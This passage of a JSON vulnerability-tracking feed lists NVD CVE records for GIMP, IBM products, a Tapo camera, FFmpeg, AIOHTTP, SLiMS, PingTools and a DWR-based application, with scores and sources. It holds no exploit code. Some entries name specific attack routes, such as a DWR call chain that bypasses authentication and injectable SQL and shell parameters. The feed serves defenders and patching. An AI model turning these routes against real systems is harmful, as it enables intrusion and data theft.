exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112260","cveId":"CVE-2026-112260","aliases":[],"kind":"vulnerability","title":"A flaw was found in GIMP. Opening a crafted XCF with a malformed text-layer parasite can cause a heap out-of-bounds read, disclosing adjacent heap data into layer text and causing...","summary":"A flaw was found in GIMP. Opening a crafted XCF with a malformed text-layer parasite can cause a heap out-of-bounds read, disclosing adjacent heap data into layer text and causing denial of service.","detail":"A flaw was found in GIMP. Opening a crafted XCF with a malformed text-layer parasite can cause a heap out-of-bounds read, disclosing adjacent heap data into layer text and causing denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:52.970Z","updatedAt":"2026-10-19T22:17:05.667Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112260","asOf":"2026-10-19T22:17:05.667Z"},"epss":{"probability":0.00157,"percentile":0.04803,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112260&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112260","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112260","type":"primary","publishedAt":"2026-10-19T20:17:52.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112260&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112260, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112252","cveId":"CVE-2026-112252","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in Wuxi Wubang Security Software Wubang Five-in-One Safety Production Management Information System up to 3.5. Affected is the function xp_cmdshell...","summary":"A vulnerability has been found in Wuxi Wubang Security Software Wubang Five-in-One Safety Production Management Information System up to 3.5. Affected is the function xp_cmdshell of the file /ws.asmx. The manipulation of the argument sql leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability has been found in Wuxi Wubang Security Software Wubang Five-in-One Safety Production Management Information System up to 3.5. Affected is the function xp_cmdshell of the file /ws.asmx. The manipulation of the argument sql leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T19:17:27.157Z","updatedAt":"2026-10-20T17:17:30.350Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112252","asOf":"2026-10-20T17:17:30.350Z"},"epss":{"probability":0.00325,"percentile":0.25289,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112252&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112252","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112252","type":"primary","publishedAt":"2026-10-19T19:17:27.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112252&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112252, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6719","cveId":"CVE-2026-6719","aliases":[],"kind":"vulnerability","title":"IBM Concert 1.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.","summary":"IBM Concert 1.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.","detail":"IBM Concert 1.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T18:17:08.720Z","updatedAt":"2026-10-19T20:55:02.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6719","asOf":"2026-10-19T20:55:02.217Z"},"epss":{"probability":0.00335,"percentile":0.26645,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-6719&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6719","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6719","type":"primary","publishedAt":"2026-10-19T18:17:08.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-6719&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-6719, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-3295","cveId":"CVE-2026-3295","aliases":[],"kind":"vulnerability","title":"IBM Cloud Pak System 2.3.6.0, and 2.3.6.1 is vulnerable to cross site scripting.","summary":"IBM Cloud Pak System 2.3.6.0, and 2.3.6.1 is vulnerable to cross site scripting. The web app user‑supplied input is not properly sanitized or HTML‑encoded before being stored and rendered. An authenticated attacker could exploit this vulnerability by entering specially crafted payloads containing malicious JavaScript which are saved within the app and later executed automatically when user views affected pages, resulting in Stored Cross‑Site Scripting (Stored XSS).","detail":"IBM Cloud Pak System 2.3.6.0, and 2.3.6.1 is vulnerable to cross site scripting. The web app user‑supplied input is not properly sanitized or HTML‑encoded before being stored and rendered. An authenticated attacker could exploit this vulnerability by entering specially crafted payloads containing malicious JavaScript which are saved within the app and later executed automatically when user views affected pages, resulting in Stored Cross‑Site Scripting (Stored XSS).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T18:17:07.263Z","updatedAt":"2026-10-19T20:55:02.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-3295","asOf":"2026-10-19T20:55:02.217Z"},"epss":{"probability":0.00222,"percentile":0.12694,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-3295&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-3295","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-3295","type":"primary","publishedAt":"2026-10-19T18:17:07.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-3295&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-3295, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105810","cveId":"CVE-2026-105810","aliases":[],"kind":"vulnerability","title":"Tapo C320WS\nV2.0 contains an authenticated stack-based buffer overflow in the local\nonboarding Wi-Fi configuration path. An authenticated attacker on the\nadjacent network can...","summary":"Tapo C320WS\nV2.0 contains an authenticated stack-based buffer overflow in the local\nonboarding Wi-Fi configuration path. An authenticated attacker on the\nadjacent network can submit a crafted request containing an oversized encrypted\npassword field, overwrite stack state, and execute commands with root\nprivileges.\n\n\n\n\n\nSuccessful\nexploitation may allow an authenticated adjacent-network attacker to take\ncontrol of the affected camera, modify camera behavior, access sensitive local\nconfiguration, and disrupt device availability.","detail":"Tapo C320WS\nV2.0 contains an authenticated stack-based buffer overflow in the local\nonboarding Wi-Fi configuration path. An authenticated attacker on the\nadjacent network can submit a crafted request containing an oversized encrypted\npassword field, overwrite stack state, and execute commands with root\nprivileges.\n\n\n\n\n\nSuccessful\nexploitation may allow an authenticated adjacent-network attacker to take\ncontrol of the affected camera, modify camera behavior, access sensitive local\nconfiguration, and disrupt device availability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T18:16:58.903Z","updatedAt":"2026-10-20T20:17:12.577Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105810","asOf":"2026-10-20T20:17:12.577Z"},"epss":{"probability":0.0046,"percentile":0.3958,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105810&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105810","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105810","type":"primary","publishedAt":"2026-10-19T18:16:58.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105810&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105810, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-52290","cveId":"CVE-2025-52290","aliases":[],"kind":"vulnerability","title":"A NULL pointer dereference in the avpriv_h264_has_num_reorder_frames function of Ffmpeg version N-119856-gbe46370941 allows attackers to cause a Denial of Service (DoS) via...","summary":"A NULL pointer dereference in the avpriv_h264_has_num_reorder_frames function of Ffmpeg version N-119856-gbe46370941 allows attackers to cause a Denial of Service (DoS) via processing a crafted media file.","detail":"A NULL pointer dereference in the avpriv_h264_has_num_reorder_frames function of Ffmpeg version N-119856-gbe46370941 allows attackers to cause a Denial of Service (DoS) via processing a crafted media file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T18:16:58.040Z","updatedAt":"2026-10-20T19:17:10.323Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-52290","asOf":"2026-10-20T19:17:10.323Z"},"epss":{"probability":0.00578,"percentile":0.47332,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-52290&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-52290","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-52290","type":"primary","publishedAt":"2026-10-19T18:16:58.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-52290&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-52290, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111064","cveId":"CVE-2026-111064","aliases":[],"kind":"vulnerability","title":"AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python.","summary":"AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.4, keepalive timeout handling is absent during the initial portion of a request. An attacker can keep an idle connection open indefinitely before sending any request data, consuming server connection capacity. This issue is fixed in version 3.14.4.","detail":"AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.4, keepalive timeout handling is absent during the initial portion of a request. An attacker can keep an idle connection open indefinitely before sending any request data, consuming server connection capacity. This issue is fixed in version 3.14.4.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:03.377Z","updatedAt":"2026-10-19T20:55:02.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111064","asOf":"2026-10-19T20:55:02.217Z"},"epss":{"probability":0.00399,"percentile":0.33893,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111064&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111064","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111064","type":"primary","publishedAt":"2026-10-19T17:17:03.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111064&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111064, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107187","cveId":"CVE-2026-107187","aliases":[],"kind":"vulnerability","title":"A user can access any database details, such as usernames and passwords by sending a DWR request with a specified workflow rule.","summary":"A user can access any database details, such as usernames and passwords by sending a DWR request with a specified workflow rule. The authentication bypass vulnerability can be chained with this vulnerability to perform database reads without authentication. Database write and delete operations may also be possible, but this was untested.","detail":"A user can access any database details, such as usernames and passwords by sending a DWR request with a specified workflow rule. The authentication bypass vulnerability can be chained with this vulnerability to perform database reads without authentication. Database write and delete operations may also be possible, but this was untested.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:00.967Z","updatedAt":"2026-10-20T20:17:13.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107187","asOf":"2026-10-20T20:17:13.357Z"},"epss":{"probability":0.00275,"percentile":0.19656,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107187&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107187","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107187","type":"primary","publishedAt":"2026-10-19T17:17:00.967Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107187&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107187, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107186","cveId":"CVE-2026-107186","aliases":[],"kind":"vulnerability","title":"An unauthenticated user can send a DWR request with isPasswordUppercase as one call method and the next call method can be set to a run workflow rule.","summary":"An unauthenticated user can send a DWR request with isPasswordUppercase as one call method and the next call method can be set to a run workflow rule. This allows for workflow rules to be run without authentication.","detail":"An unauthenticated user can send a DWR request with isPasswordUppercase as one call method and the next call method can be set to a run workflow rule. This allows for workflow rules to be run without authentication.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:00.827Z","updatedAt":"2026-10-20T20:17:13.233Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107186","asOf":"2026-10-20T20:17:13.233Z"},"epss":{"probability":0.00362,"percentile":0.29753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107186&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107186","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107186","type":"primary","publishedAt":"2026-10-19T17:17:00.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107186&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107186, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107082","cveId":"CVE-2026-107082","aliases":[],"kind":"vulnerability","title":"Slims (Senayan Library Management Systems) 9 Bulian 9.8.0 allows an authenticated staff user to perform SQL injection via the opac_hide and promoted GET parameters of...","summary":"Slims (Senayan Library Management Systems) 9 Bulian 9.8.0 allows an authenticated staff user to perform SQL injection via the opac_hide and promoted GET parameters of admin/modules/bibliography/index.php, because escape_string() is applied but the values are concatenated into an unquoted numeric SQL context, leading to error-based information disclosure and arbitrary data extraction.","detail":"Slims (Senayan Library Management Systems) 9 Bulian 9.8.0 allows an authenticated staff user to perform SQL injection via the opac_hide and promoted GET parameters of admin/modules/bibliography/index.php, because escape_string() is applied but the values are concatenated into an unquoted numeric SQL context, leading to error-based information disclosure and arbitrary data extraction.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:00.543Z","updatedAt":"2026-10-20T17:17:28.100Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107082","asOf":"2026-10-20T17:17:28.100Z"},"epss":{"probability":0.00455,"percentile":0.39192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107082","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107082","type":"primary","publishedAt":"2026-10-19T17:17:00.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107082, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103038","cveId":"CVE-2026-103038","aliases":[],"kind":"vulnerability","title":"PingTools Network Utilities 4.64 contains an OS command injection vulnerability in the Host field of a Watcher ICMP service.","summary":"PingTools Network Utilities 4.64 contains an OS command injection vulnerability in the Host field of a Watcher ICMP service. The application appends the attacker-controlled Host value to a ping command, serializes the command as a single string, and executes it through sh -c. A local attacker who can create or modify a Watcher service can inject shell syntax and execute arbitrary commands with the PingTools application UID and its granted Android permissions.","detail":"PingTools Network Utilities 4.64 contains an OS command injection vulnerability in the Host field of a Watcher ICMP service. The application appends the attacker-controlled Host value to a ping command, serializes the command as a single string, and executes it through sh -c. A local attacker who can create or modify a Watcher service can inject shell syntax and execute arbitrary commands with the PingTools application UID and its granted Android permissions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:00.400Z","updatedAt":"2026-10-20T20:17:11.820Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103038","asOf":"2026-10-20T20:17:11.820Z"},"epss":{"probability":0.03441,"percentile":0.88893,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103038&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103038","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103038","type":"primary","publishedAt":"2026-10-19T17:17:00.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103038&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured 